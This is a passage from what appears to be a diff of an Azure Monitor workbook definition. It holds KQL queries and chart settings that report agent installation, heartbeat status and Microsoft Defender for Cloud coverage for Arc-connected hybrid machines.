dataSensitivityLabels,dataSensitivityClassifications not enabled\n| extend assessmentStatusCode = tolower(tostring(properties.status.code)), id = tolower(id)\n| extend severity = iff(assessmentStatusCode == \"unhealthy\", tolower(tostring(properties.metadata.severity)), assessmentStatusCode)\n| extend exemptionType = iff(type != \"microsoft.security/assessments\", \"N/A\", iff(properties.status.cause == \"Exempt\", \"Yes\", \"No\"))\n| extend resourceDetails = properties.resourceDetails, additionalData = properties.additionalData\n| extend source = case(isnotempty(resourceDetails), tolower(tostring(resourceDetails.Source)),\n id contains \"/securityentitydata/aws-ec2-instance\", \"aws\",\n id contains \"/securityentitydata/gcp-instances\", \"gcp\",\n \"\")\n| extend classificationResource = iff(type == \"microsoft.security/insights\" and id contains \"microsoft.security/insights/classification\", true , false), multiCloudSource = iff(source == \"aws\" or source == \"gcp\", true, false)\n| extend resourceId = trim(\" \", tolower(tostring(case(source == \"azure\", resourceDetails.Id,\n multiCloudSource == true and isnotempty(tostring(resourceDetails.ConnectorId)), resourceDetails.Id,\n multiCloudSource == true and type == \"microsoft.security/softwareinventories\", extract(\"^(.+)/providers/microsoft.security/softwareinventories/.+$\",1,id),\n multiCloudSource == true, resourceDetails.AzureResourceId,\n source == \"onpremise\", strcat(extract(\"^(.+)/(.+)/onpremisemachines/(.+)/providers/microsoft.security/assessments/.+$\",1,id),\"/workspacenameplaceholder/onpremisemachines/\", resourceDetails.MachineName,\"_\", resourceDetails.VMUUID),\n type == \"microsoft.security/assessments\", extract(\"^(.+)/providers/Microsoft.Security/assessments/.+$\",1,id),\n classificationResource == true, tolower(properties.associatedResource),\n extract(\"^(.+)/providers/microsoft.security/softwareinventories/.+$\",1,id)))))\n| extend extractedResourceName = extract(@\"(.+)/(.+)\", 2, resourceId)\n| extend resourceName = iff(multiCloudSource == true and isnotempty(tostring(resourceDetails.ConnectorId)), tostring(additionalData.ResourceName), extractedResourceName)\n| extend resourceName = iff(multiCloudSource == true and resourceId contains \"/securityentitydata/aws-ecr-repository\", trim(\"aws-ecr-repository-\", substring(extractedResourceName, 0, strlen(extractedResourceName) - indexof(reverse(extractedResourceName),'-',1,-1,3) - 1)), resourceName)\n| extend resourceName = iff(multiCloudSource == true and type == \"microsoft.security/softwareinventories\", case(source == \"aws\", extract(\"aws-ec2-instance-(i-.+?)-(.+)$\", 1, extractedResourceName),\n source == \"gcp\", extract(\"gcp-instances-(.+?)-(.+)$\", 1, extractedResourceName),\n extractedResourceName),\n resourceName)\n| extend resourceName = iff(classificationResource == true and resourceId contains \"/securityentitydata/aws-s3\", trim(\"aws-s3-\", resourceName), resourceName)\n| extend resourceName = iff((resourceId contains \"/apicollectiondetails/\") and (resourceId contains \"/apicollections/\"), additionalData.ResourceName, resourceName)\n| extend regexResourceId = extract_all(@\"/providers/([^/]+)(?:/([^/]+)/[^/]+(?:/([^/]+)/[^/]+)?)?/([^/]+)/[^/]+(?:/([^/]+)/[^/]+)?$\", resourceId)\n| extend RegexResourceType = regexResourceId[0]\n| extend mainType = RegexResourceType[1], extendedType = RegexResourceType[2], resourceType = RegexResourceType[3], additionalType = RegexResourceType[4]\n| extend providerName = RegexResourceType[0],\n mainType = case(mainType != \"\", strcat(\"/\",mainType), \"\"),\n extendedType = case(extendedType !=\"\", strcat(\"/\",extendedType), \"\"),\n resourceType = case(resourceType != \"\", strcat(\"/\",resourceType), \"\"),\n additionalType = case(additionalType != \"\", strcat(\"/\",additionalType), \"\"),\n resourceKind = case(isnotempty(additionalData.Kind), strcat(\"/\", tolower(additionalData.Kind)), \"\")\n| extend array = split(resourceId, '/')\n| extend typeFullPath = case(\n array_length(array) == 3, 'subscription',\n array_length(array) == 5, 'resourcegroups',\n multiCloudSource == true and isnotempty(tostring(resourceDetails.ConnectorId)), tolower(strcat(providerName, mainType, \"/\", tostring(additionalData.ResourceProvider), tostring(properties.additionalData.ResourceType))),\n strcat(providerName, mainType, extendedType, resourceType, additionalType))\n| extend typeFullPath = iff(multiCloudSource == true and resourceId contains \"securityentitydata/aws-ecr-repository\" , \"microsoft.security/securityconnectors/aws-ecr-repository\", typeFullPath)\n| extend typeFullPath = iff(classificationResource == true and resourceId contains \"/securityentitydata/aws-s3\", \"microsoft.security/securityconnectors/s3s3bucket\", typeFullPath)\n| extend typeFullPath = iff(multiCloudSource == true and type == \"microsoft.security/softwareinventories\", case(source == \"aws\", \"microsoft.security/securityconnectors/ec2instance\",\n source == \"gcp\", \"microsoft.security/securityconnectors/gcpinstances\",\n typeFullPath),\n typeFullPath)\n| extend resourceType = iff(multiCloudSource == true and type == \"microsoft.security/softwareinventories\", case(source == \"aws\", \"AWS EC2 Instance\",\n source == \"gcp\", \"GCP Instance\",\n resourceType),\n resourceType)\n| extend resourceType = iff(typeFullPath == 'resourcegroups' or typeFullPath == 'subscription', typeFullPath, tolower(trim(\"/\", resourceType)))\n| extend assessmentKey = iff(type == \"microsoft.security/assessments\", tostring(name), \"\")\n // Filter for installedSoftware,installedSoftwareVersions not enabled\n| extend environment = tolower(tostring(resourceDetails[\"Source\"]))\n| extend environment = iff(environment == \"onpremise\", \"non-azure\", environment)\n // Filter for awsAccount,gcpProject not enabled\n| extend osType = tostring(additionalData[\"OS Type\"])\n| extend hasAgent = iff(assessmentKey in (\"d1db3318-01ff-16de-29eb-28b344515626\", \"45cfe080-ceb1-a91e-9743-71551ed24e94\", \"720a3e77-0b9a-4fa9-98b6-ddf0fd7e32c1\", \"27ac71b1-75c5-41c2-adc2-858f5db45b08\"), assessmentStatusCode, \"\")\n| extend hasAgent = iff(assessmentKey in (\"4ab6e3c5-74dd-8b35-9ab9-f61b30875b27\", \"181ac480-f7c4-544b-9865-11b8ffe87f47\", \"4fb67663-9ab9-475d-b026-8c544cced439\") and typeFullPath == \"microsoft.kubernetes/connectedclusters\", \"healthy\", hasAgent)\n| extend hasAgent = iff(assessmentKey == \"d1db3318-01ff-16de-29eb-28b344515626\" and properties.status.description has \"AMA is already installed\", \"healthy\", hasAgent) // AMA agent is already installed, monitoring agent turned on\n| extend workspaceAzureResourceId = iff(hasAgent != \"\", additionalData[\"Reporting workspace azure id\"], \"\")\n| extend workspaceName = case(workspaceAzureResourceId != \"\", extract(@\"(.+)/(.+)\", 2, workspaceAzureResourceId), \"\")\n // Assessments filter not enabled\n| extend subscription_0 = case(subscriptionId == \"efd99f2a-f45b-47ce-b456-a19882968b7e\", \"ME-MngEnvMCAP574632-alsanch-1\" , \"\")\n| extend subscriptionDisplayName = case(isnotempty(subscription_0), subscription_0, \"\")\n| extend resourceName = case(resourceType == \"subscription\", subscriptionDisplayName, resourceName) \n // Filter for dataSensitivityLabels,dataSensitivityClassifications not enabled\n| summarize\n resourceKind = max(resourceKind),\n // Filter for dataSensitivityLabels,dataSensitivityClassifications not enabled\n assessmentsCount = dcount(assessmentKey),\n notApplicableAssessmentsCount = countif(severity == \"notapplicable\"),\n lowSeverityAssessmentsCount = countif(severity == \"low\"),\n mediumSeverityAssessmentsCount = countif(severity == \"medium\"),\n highSeverityAssessmentsCount = countif(severity == \"high\"),\n healthyAssessmentsCount = countif(severity == \"healthy\"),\n // Assessments filter not enabled\n // Filter for installedSoftware,installedSoftwareVersions not enabled\n hasAgent = max(hasAgent), workspaceName = max(workspaceName),\n environment = max(environment),\n // Filter for awsAccount,gcpProject not enabled\n osType = max(osType),\n exemptionType = max(exemptionType) \n by resourceId, subscriptionId, resourceName, subscriptionDisplayName, resourceType, typeFullPath\n| extend typeFullPath = iff(isnotempty(resourceKind), strcat(typeFullPath, resourceKind), typeFullPath)\n| extend assessmentsSummary = pack(\n \"notapplicable\", notApplicableAssessmentsCount,\n \"low\", lowSeverityAssessmentsCount,\n \"medium\", mediumSeverityAssessmentsCount,\n \"high\", highSeverityAssessmentsCount,\n \"healthy\", healthyAssessmentsCount)\n| extend agentMonitoring = case(hasAgent == \"\" or hasAgent == \"notapplicable\", '',\n hasAgent == \"unhealthy\", \"notInstalled\",\n \"installed\")\n| extend subscriptionPricing = dynamic(null), pricing = \"\"\n // Filter for installedSoftware,installedSoftwareVersions not enabled\n| extend unhealthyAssessmentsCount = lowSeverityAssessmentsCount + mediumSeverityAssessmentsCount + highSeverityAssessmentsCount\n // Filter for installedSoftware,installedSoftwareVersions not enabled\n| project resourceType,\n exemptionType,\n typeFullPath,\n resourceId,\n resourceName,\n subscriptionDisplayName,\n subscriptionId,\n environment,\n // Filter for awsAccount,gcpProject not enabled\n osType,\n workspaceName,\n agentMonitoring,\n // Assessments filter not enabled\n assessmentsSummary,\n subscriptionPricing,\n pricing,\n // Filter for installedSoftware,installedSoftwareVersions not enabled\n // Filter for dataSensitivityLabels,dataSensitivityClassifications not enabled\n unhealthyAssessmentsCount\n| extend resourceGroup = tolower(tostring(split(resourceId, \"/\")[4]))\n| order by unhealthyAssessmentsCount, subscriptionId, resourceType, resourceId\n| where typeFullPath in ('microsoft.hybridcompute/machines')\n| summarize dcount(resourceId) by agentMonitoring", - "size": 3, - "title": "Azure Monitor Agent installation status", - "exportFieldName": "", - "exportParameterName": "agentInstallStatus", - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources", - "crossComponentResources": [ - "value::all" - ], - "visualization": "piechart", - "chartSettings": { - "seriesLabelSettings": [ - { - "seriesName": "installed", - "color": "green" - } - ] - } - }, - "customWidth": "33", - "name": "query - 5", - "styleSettings": { - "showBorder": true - } - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "\nHeartbeat\n| where ResourceId contains \"microsoft.hybridcompute/machines\"\n| summarize arg_max(TimeGenerated, SubscriptionId) by tolower(ResourceId)\n| extend LastSeen = case(TimeGenerated > now(-15m), \"currently reporting\",\n TimeGenerated < now(-15m) and TimeGenerated > now(-24h), \"not reporting for > 15 min\",\n TimeGenerated < now(-24h) and TimeGenerated > now(-48h), \"not reporting for > 24 hours\",\n TimeGenerated < now(-48h) and TimeGenerated > now(-3d), \"not reporting for > 48 hours\",\n TimeGenerated < now(-3d) and TimeGenerated > now(-7d), \"not reporting for > 3 days\",\n TimeGenerated < now(-7d) and TimeGenerated > now(-30d), \"not reporting for > 7 days\",\n \"failed\")\n| order by TimeGenerated\n| summarize NotReportingSince = count() by LastSeen", - "size": 3, - "title": "Azure Monitor Agent reporting status", - "timeContext": { - "durationMs": 2592000000 - }, - "exportFieldName": "", - "exportParameterName": "lastSeen", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{workspace}" - ], - "visualization": "piechart", - "chartSettings": { - "seriesLabelSettings": [ - { - "seriesName": "not reporting for > 7 days", - "color": "red" - }, - { - "seriesName": "currently reporting", - "color": "green" - }, - { - "seriesName": "not reporting for > 15 min", - "color": "yellow" - }, - { - "seriesName": "not reporting for > 24 hours", - "color": "orange" - }, - { - "seriesName": "not reporting for > 48 hours", - "color": "redBright" - }, - { - "seriesName": "not reporting for > 3 days", - "color": "red" - } - ], - "ySettings": { - "numberFormatSettings": { - "unit": 0, - "options": { - "style": "decimal", - "useGrouping": true - } - } - } - } - }, - "customWidth": "33", - "name": "query - 3", - "styleSettings": { - "showBorder": true - } - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "securityresources\n| where type =~ \"microsoft.security/assessments\" or type =~ \"microsoft.security/softwareInventories\"\n| extend assessmentStatusCode = case(type =~ \"microsoft.security/assessments\", tostring(properties.status.code), \"\")\n| extend severity = case(assessmentStatusCode =~ \"unhealthy\", tolower(tostring(properties.metadata.severity)), tolower(assessmentStatusCode))\n| extend exemptionType = case(tolower(type) != \"microsoft.security/assessments\",\"N/A\", case(properties.status.cause =~ \"exempt\", \"Yes\", \"No\"))\n| extend source = case(type =~ \"microsoft.security/assessments\", tostring(properties.resourceDetails.Source), \"\")\n| extend resourceId = trim(\" \", tolower(tostring(case(source =~ \"azure\", properties.resourceDetails.Id,\n source =~ \"aws\" and isnotempty(tostring(properties.resourceDetails.ConnectorId)), properties.resourceDetails.Id,\n source =~ \"aws\", properties.resourceDetails.AzureResourceId,\n source =~ \"gcp\", properties.resourceDetails.AzureResourceId,\n type =~ \"microsoft.security/assessments\", extract(\"^(.+)/providers/Microsoft.Security/assessments/.+$\",1,id),extract(\"^(.+)/providers/Microsoft.Security/softwareInventories/.+$\",1,id)))))\n| extend resourceName = iff(source =~ \"aws\" and isnotempty(tostring(properties.resourceDetails.ConnectorId)), tostring(properties.additionalData.ResourceName), extract(@\"(.+)/(.+)\", 2, resourceId))\n| extend regexResourceId = extract_all(@\"/providers/([^/]+)(?:/([^/]+)/[^/]+(?:/([^/]+)/[^/]+)?)?/([^/]+)/[^/]+$\", resourceId)\n| extend RegexResourceType = regexResourceId[0]\n| extend mainType = RegexResourceType[1], extendedType = RegexResourceType[2], resourceType = RegexResourceType[3]\n| extend providerName = RegexResourceType[0],\n mainType = case(mainType !~ \"\", strcat(\"/\",mainType), \"\"),\n extendedType = case(extendedType!~ \"\", strcat(\"/\",extendedType), \"\"),\n resourceType = case(resourceType!~ \"\", strcat(\"/\",resourceType), \"\")\n| extend array = split(resourceId, '/')\n| extend typeFullPath = case(\n array_length(array) == 3, 'subscription',\n array_length(array) == 5, 'resourcegroups',\n source =~ \"aws\" and isnotempty(tostring(properties.resourceDetails.ConnectorId)), tolower(strcat(providerName, mainType, \"/\", tostring(properties.additionalData.ResourceProvider), tostring(properties.additionalData.ResourceType))),\n strcat(providerName, mainType, extendedType, resourceType))\n| extend resourceType = case(typeFullPath =~ 'resourcegroups' or typeFullPath =~ 'subscription', typeFullPath, tolower(trim(\"/\", resourceType)))\n| extend assessmentKey = case(type =~ \"microsoft.security/assessments\", tostring(name), \"\")\n| extend softwareVendorName = case(type =~ \"microsoft.security/softwareInventories\", tostring(properties.vendor), \"\")\n| extend softwareName = case(type =~ \"microsoft.security/softwareInventories\", tostring(properties.softwareName), \"\")\n| extend softwareVersion = case(type =~ \"microsoft.security/softwareInventories\", tostring(properties.version), \"\")\n| extend softwareNameIdentifier = case(type =~ \"microsoft.security/softwareInventories\", strcat(softwareVendorName, \",\", softwareName, \",\", softwareVersion), \"\")\n| extend environment = case(type =~ \"microsoft.security/assessments\", properties.resourceDetails[\"Source\"], \"\")\n| extend environment = case(environment =~ \"onpremise\", tolower(\"Non-Azure\"), tolower(environment))\n| extend osTypeProperty = properties.additionalData[\"OS Type\"]\n| extend osType = case(isnotempty(osTypeProperty), osTypeProperty, \"\")\n| extend hasAgent = case(assessmentKey == \"d1db3318-01ff-16de-29eb-28b344515626\" or assessmentKey == \"45cfe080-ceb1-a91e-9743-71551ed24e94\" or assessmentKey == \"720a3e77-0b9a-4fa9-98b6-ddf0fd7e32c1\" or assessmentKey == \"27ac71b1-75c5-41c2-adc2-858f5db45b08\", assessmentStatusCode, \"\")\n| extend hasAgent = case(assessmentKey == \"4ab6e3c5-74dd-8b35-9ab9-f61b30875b27\" or assessmentKey == \"181ac480-f7c4-544b-9865-11b8ffe87f47\" or assessmentKey == \"4fb67663-9ab9-475d-b026-8c544cced439\" , \"healthy\", hasAgent)\n| extend workspaceAzureResourceId = case(hasAgent !~ \"\", properties.additionalData[\"Reporting workspace azure id\"], \"\")\n| extend workspaceName = case(workspaceAzureResourceId !~ \"\", extract(@\"(.+)/(.+)\", 2, workspaceAzureResourceId), \"\")\n| extend assessmentDisplayName = case(type =~ \"microsoft.security/assessments\", case(isnotempty(properties.displayName), properties.displayName, properties.metadata.displayName), \"\")\n| extend assessmentIdentifier = case(type =~ \"microsoft.security/assessments\", strcat(assessmentKey, \",\" , assessmentDisplayName, \",\", severity), \"\")\n| summarize assessmentsCount = count() , assessmentsIdentifier = make_list(assessmentIdentifier), softwareNamesIdentifier = make_list(softwareNameIdentifier), hasAgent = max(hasAgent), workspaceName = max(workspaceName), environment = max(environment), osType = max(osType), exemptionType = max(exemptionType) by resourceId, subscriptionId, resourceName, resourceType, typeFullPath, severity\n| extend packAssessments = pack(severity, assessmentsCount)\n| summarize assessmentsSummary = make_bag(packAssessments), assessmentsIdentifier = make_set(assessmentsIdentifier), softwareNamesIdentifier = make_set(softwareNamesIdentifier), hasAgent = max(hasAgent), workspaceName= max(workspaceName), environment = max(environment), osType= max(osType), exemptionType = max(exemptionType) by resourceId, subscriptionId, resourceName, resourceType, typeFullPath\n| extend agentMonitoring = case(hasAgent =~ \"NotApplicable\" or hasAgent =~ \"\", '',\n hasAgent =~ \"Unhealthy\", \"notInstalled\",\n \"installed\")\n| join kind=leftouter (\n securityresources\n | where type =~ \"microsoft.security/pricings\"\n | project subscriptionId, bundleName = tolower(name), freeTrialRemainingTime = properties.freeTrialRemainingTime, pricingTier = tolower(properties.pricingTier)\n | extend bundlesPricing = pack(bundleName, pricingTier)\n | summarize subscriptionPricing = make_bag(bundlesPricing) by subscriptionId\n ) on subscriptionId\n| extend hasNoSoftwareData = case(array_length(softwareNamesIdentifier) == 1, case(set_has_element(softwareNamesIdentifier, \"\"), true, false), false)\n| extend softwareNamesIdentifier = case(hasNoSoftwareData, softwareNamesIdentifier, set_difference(softwareNamesIdentifier, pack_array(\"\")))\n| extend AssessmentsHigh = case(isnull(assessmentsSummary.high), 0 , toint(assessmentsSummary.high))\n| extend AssessmentsMedium = case(isnull(assessmentsSummary.medium), 0 , toint(assessmentsSummary.medium))\n| extend AssessmentsLow = case(isnull(assessmentsSummary.low), 0 , toint(assessmentsSummary.low))\n| extend unhealthyAssessmentsCount = AssessmentsHigh + AssessmentsMedium + AssessmentsLow\n| extend virtualmachines = case(isnull(subscriptionPricing), '' , subscriptionPricing.virtualmachines)\n| extend virtualmachines = case(virtualmachines == 'free', 'off', 'on')\n| extend sqlservers = case(isnull(subscriptionPricing), '' , subscriptionPricing.sqlservers)\n| extend sqlservers = case(sqlservers == 'free', 'off', 'on')\n| extend kubernetesservice = case(isnull(subscriptionPricing), '' , subscriptionPricing.kubernetesservice)\n| extend kubernetesservice = case(kubernetesservice == 'free', 'off', 'on')\n| extend containerregistry = case(isnull(subscriptionPricing), '' , subscriptionPricing.containerregistry)\n| extend containerregistry = case(containerregistry == 'free', 'off', 'on')\n| extend connectedcontainerregistry = case(isnull(subscriptionPricing), '' , subscriptionPricing.connectedcontainerregistry)\n| extend connectedcontainerregistry = case(connectedcontainerregistry == 'free', 'off', 'on')\n| extend sqlservervirtualmachines = case(isnull(subscriptionPricing), '' , subscriptionPricing.sqlservervirtualmachines)\n| extend sqlservervirtualmachines = case(sqlservervirtualmachines == 'free', 'off', 'on')\n| extend appservices = case(isnull(subscriptionPricing), '' , subscriptionPricing.appservices)\n| extend appservices = case(appservices == 'free', 'off', 'on')\n| extend storageaccounts = case(isnull(subscriptionPricing), '' , subscriptionPricing.storageaccounts)\n| extend storageaccounts = case(storageaccounts == 'free', 'off', 'on')\n| extend keyvaults = case(isnull(subscriptionPricing), '' , subscriptionPricing.keyvaults)\n| extend keyvaults = case(keyvaults == 'free', 'off', 'on')\n| extend opensourcerelationaldatabases = case(isnull(subscriptionPricing), '' , subscriptionPricing.opensourcerelationaldatabases)\n| extend opensourcerelationaldatabases = case(opensourcerelationaldatabases == 'free', 'off', 'on')\n| extend calculatedSubscriptionPricing = case(resourceType =~ \"subscription\" and isempty(subscriptionPricing) == false , iff(subscriptionPricing has \"free\" and subscriptionPricing has \"standard\", \"partial\", iff(subscriptionPricing has \"free\", \"off\", \"on\")), \"\")\n| extend resourcePricing = case(typeFullPath =~ \"microsoft.classiccompute/virtualmachines\", virtualmachines, typeFullPath =~ \"microsoft.compute/virtualmachines\", virtualmachines, typeFullPath =~ \"microsoft.hybridcompute/machines\", virtualmachines, typeFullPath =~ \"microsoft.sql/servers\", sqlservers, typeFullPath =~ \"microsoft.containerservice/managedclusters\", kubernetesservice, typeFullPath =~ \"microsoft.kubernetes/connectedclusters\", kubernetesservice, typeFullPath =~ \"microsoft.containerregistry/registries\", containerregistry, typeFullPath =~ \"microsoft.security/connectedcontainerregistries\", connectedcontainerregistry, typeFullPath =~ \"microsoft.sqlvirtualmachine/sqlvirtualmachines\", sqlservervirtualmachines, typeFullPath =~ \"microsoft.web/sites\", appservices, typeFullPath =~ \"microsoft.storage/storageaccounts\", storageaccounts, typeFullPath =~ \"microsoft.compute/virtualmachinescalesets\", virtualmachines, typeFullPath =~ \"microsoft.keyvault/vaults\", keyvaults, typeFullPath =~ \"microsoft.dbforpostgresql/servers\", opensourcerelationaldatabases, typeFullPath =~ \"microsoft.dbformysql/servers\", opensourcerelationaldatabases, typeFullPath =~ \"microsoft.dbformariadb/servers\", opensourcerelationaldatabases, calculatedSubscriptionPricing)\n| extend pricing = case(resourceType =~ \"subscription\" , calculatedSubscriptionPricing , resourcePricing)\n| extend selectedSoftware = \"\"\n| project resourceType, exemptionType, typeFullPath, resourceId, resourceName, subscriptionId, environment, osType, workspaceName, agentMonitoring, assessmentsIdentifier, assessmentsSummary, subscriptionPricing, unhealthyAssessmentsCount, pricing, softwareNamesIdentifier, selectedSoftware\n| extend resourceGroup = tolower(tostring(split(resourceId, \"/\")[4]))\n| order by unhealthyAssessmentsCount, subscriptionId, resourceType, resourceId\n| where typeFullPath in ('microsoft.hybridcompute/machines')\n| where isnotempty(resourceId)\n| summarize dcount(resourceId) by AzureDefender = pricing", - "size": 3, - "title": "Microsoft Defender for Cloud coverage", - "exportParameterName": "defenderStatus", - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources", - "crossComponentResources": [ - "value::all" - ], - "visualization": "piechart", - "chartSettings": { - "seriesLabelSettings": [ - { - "seriesName": "on", - "color": "green" - }, - { - "seriesName": "of", - "color": "redBright" - } - ] - } - }, - "customWidth": "33", - "name": "query - 3", - "styleSettings": { - "showBorder": true - } - } - ], - "exportParameters": true - }, - "conditionalVisibilities": [ - { - "parameterName": "workspace", - "comparison": "isNotEqualTo" - }, - { - "parameterName": "SelectedTab", - "comparison": "isEqualTo", - "value": "OverviewTab" - } - ], - "name": "summary - group", - "styleSettings": { - "showBorder": true - } - }, - { - "type": 12, - "content": { - "version": "NotebookGroup/1.0", - "groupType": "editable", - "title": "Machines not sending current heartbeats", - "items": [ - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "Heartbeat\n| where ResourceId contains \"microsoft.hybridcompute/machines\"\n| join kind = leftanti (\n Heartbeat\n | where ResourceId contains \"microsoft.hybridcompute/machines\"\n | where TimeGenerated > now(-15m)\n) on SourceComputerId\n| summarize arg_max(LatestTimestamp=TimeGenerated, SubscriptionId) by ResourceId\n| order by LatestTimestamp", - "size": 3, - "showAnalytics": true, - "title": "Agent not reporting for more than 15 minutes", - "noDataMessage": "No machines found not reporting for more than 15 minutes.", - "timeContext": { - "durationMs": 86400000 - }, - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{workspace}" - ], - "gridSettings": { - "labelSettings": [ - { - "columnId": "ResourceId", - "label": "Resource ID" - }, - { - "columnId": "LatestTimestamp", - "label": "Latest Heartbeat" - }, - { - "columnId": "SubscriptionId", - "label": "Subscription ID" - } - ] - } - }, - "customWidth": "50", - "name": "query - 0", - "styleSettings": { - "showBorder": true - } - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "Heartbeat\n| where ResourceId contains \"microsoft.hybridcompute/machines\"\n| join kind = leftanti (\n Heartbeat\n | where ResourceId contains \"microsoft.hybridcompute/machines\"\n | where TimeGenerated > now(-24h)\n) on SourceComputerId\n| summarize arg_max(LatestTimestamp=TimeGenerated, SubscriptionId) by ResourceId\n| order by LatestTimestamp", - "size": 3, - "showAnalytics": true, - "title": "Agent not reporting for more than 24 hours", - "noDataMessage": "No machines found not reporting for more than 24 hours.", - "timeContext": { - "durationMs": 172800000 - }, - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{workspace}" - ], - "gridSettings": { - "labelSettings": [ - { - "columnId": "ResourceId", - "label": "Resource ID" - }, - { - "columnId": "LatestTimestamp", - "label": "Latest Heartbeat" - }, - { - "columnId": "SubscriptionId", - "label": "Subscription ID" - } - ] - } - }, - "customWidth": "50", - "name": "query - 1", - "styleSettings": { - "showBorder": true - } - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "Heartbeat\n| where ResourceId contains \"microsoft.hybridcompute/machines\"\n| join kind = leftanti (\n Heartbeat\n | where ResourceId contains \"microsoft.hybridcompute/machines\"\n | where TimeGenerated > now(-48h)\n) on SourceComputerId\n| summarize arg_max(LatestTimestamp=TimeGenerated, SubscriptionId) by ResourceId\n| order by LatestTimestamp", - "size": 3, - "showAnalytics": true, - "title": "Agent not reporting for more than 48 hours", - "noDataMessage": "No machines found not reporting for more than 48 hours.", - "timeContext": { - "durationMs": 604800000 - }, - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{workspace}" - ], - "gridSettings": { - "labelSettings": [ - { - "columnId": "ResourceId", - "label": "Resource ID" - }, - { - "columnId": "LatestTimestamp", - "label": "Latest Heartbeat" - }, - { - "columnId": "SubscriptionId", - "label": "Subscription ID" - } - ] - } - }, - "customWidth": "50", - "name": "query - 2", - "styleSettings": { - "showBorder": true - } - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "Heartbeat\n| where ResourceId contains \"microsoft.hybridcompute/machines\"\n| join kind = leftanti (\n Heartbeat\n | where ResourceId contains \"microsoft.hybridcompute/machines\"\n | where TimeGenerated > now(-7d)\n) on SourceComputerId\n| summarize arg_max(LatestTimestamp=TimeGenerated, SubscriptionId) by ResourceId\n| order by LatestTimestamp", - "size": 3, - "showAnalytics": true, - "title": "Agent not reporting for more than 7 days", - "noDataMessage": "No machines found not reporting for more than 7 days.", - "timeContext": { - "durationMs": 2592000000 - }, - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{workspace}" - ], - "gridSettings": { - "labelSettings": [ - { - "columnId": "ResourceId", - "label": "Resource ID" - }, - { - "columnId": "LatestTimestamp", - "label": "Latest Heartbeat" - }, - { - "columnId": "SubscriptionId", - "label": "Subscription ID" - } - ] - } - }, - "customWidth": "50", - "name": "query - 3", - "styleSettings": { - "showBorder": true - } - } - ] - }, - "conditionalVisibilities": [ - { - "parameterName": "SelectedTab", - "comparison": "isEqualTo", - "value": "NotReportingTab" - }, - { - "parameterName": "workspace", - "comparison": "isNotEqualTo" - } - ], - "name": "MachinesNotReporting", - "styleSettings": { - "showBorder": true - } - }, - { - "type": 12, - "content": { - "version": "NotebookGroup/1.0", - "groupType": "editable", - "title": "Protection Status", - "items": [ - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "securityresources\n| where type =~ \"microsoft.security/assessments\" or type =~ \"microsoft.security/softwareInventories\"\n| extend assessmentStatusCode = case(type =~ \"microsoft.security/assessments\", tostring(properties.status.code), \"\")\n| extend severity = case(assessmentStatusCode =~ \"unhealthy\", tolower(tostring(properties.metadata.severity)), tolower(assessmentStatusCode))\n| extend exemptionType = case(tolower(type) != \"microsoft.security/assessments\",\"N/A\", case(properties.status.cause =~ \"exempt\", \"Yes\", \"No\"))\n| extend source = case(type =~ \"microsoft.security/assessments\", tostring(properties.resourceDetails.Source), \"\")\n| extend resourceId = trim(\" \", tolower(tostring(case(source =~ \"azure\", properties.resourceDetails.Id,\n source =~ \"aws\" and isnotempty(tostring(properties.resourceDetails.ConnectorId)), properties.resourceDetails.Id,\n source =~ \"aws\", properties.resourceDetails.AzureResourceId,\n source =~ \"gcp\", properties.resourceDetails.AzureResourceId,\n type =~ \"microsoft.security/assessments\", extract(\"^(.+)/providers/Microsoft.Security/assessments/.+$\",1,id),extract(\"^(.+)/providers/Microsoft.Security/softwareInventories/.+$\",1,id)))))\n| extend resourceName = iff(source =~ \"aws\" and isnotempty(tostring(properties.resourceDetails.ConnectorId)), tostring(properties.additionalData.ResourceName), extract(@\"(.+)/(.+)\", 2, resourceId))\n| extend regexResourceId = extract_all(@\"/providers/([^/]+)(?:/([^/]+)/[^/]+(?:/([^/]+)/[^/]+)?)?/([^/]+)/[^/]+$\", resourceId)\n| extend RegexResourceType = regexResourceId[0]\n| extend mainType = RegexResourceType[1], extendedType = RegexResourceType[2], resourceType = RegexResourceType[3]\n| extend providerName = RegexResourceType[0],\n mainType = case(mainType !~ \"\", strcat(\"/\",mainType), \"\"),\n extendedType = case(extendedType!~ \"\", strcat(\"/\",extendedType), \"\"),\n resourceType = case(resourceType!~ \"\", strcat(\"/\",resourceType), \"\")\n| extend array = split(resourceId, '/')\n| extend typeFullPath = case(\n array_length(array) == 3, 'subscription',\n array_length(array) == 5, 'resourcegroups',\n source =~ \"aws\" and isnotempty(tostring(properties.resourceDetails.ConnectorId)), tolower(strcat(providerName, mainType, \"/\", tostring(properties.additionalData.ResourceProvider), tostring(properties.additionalData.ResourceType))),\n strcat(providerName, mainType, extendedType, resourceType))\n| extend resourceType = case(typeFullPath =~ 'resourcegroups' or typeFullPath =~ 'subscription', typeFullPath, tolower(trim(\"/\", resourceType)))\n| extend assessmentKey = case(type =~ \"microsoft.security/assessments\", tostring(name), \"\")\n| extend softwareVendorName = case(type =~ \"microsoft.security/softwareInventories\", tostring(properties.vendor), \"\")\n| extend softwareName = case(type =~ \"microsoft.security/softwareInventories\", tostring(properties.softwareName), \"\")\n| extend softwareVersion = case(type =~ \"microsoft.security/softwareInventories\", tostring(properties.version), \"\")\n| extend softwareNameIdentifier = case(type =~ \"microsoft.security/softwareInventories\", strcat(softwareVendorName, \",\", softwareName, \",\", softwareVersion), \"\")\n| extend environment = case(type =~ \"microsoft.security/assessments\", properties.resourceDetails[\"Source\"], \"\")\n| extend environment = case(environment =~ \"onpremise\", tolower(\"Non-Azure\"), tolower(environment))\n| extend osTypeProperty = properties.additionalData[\"OS 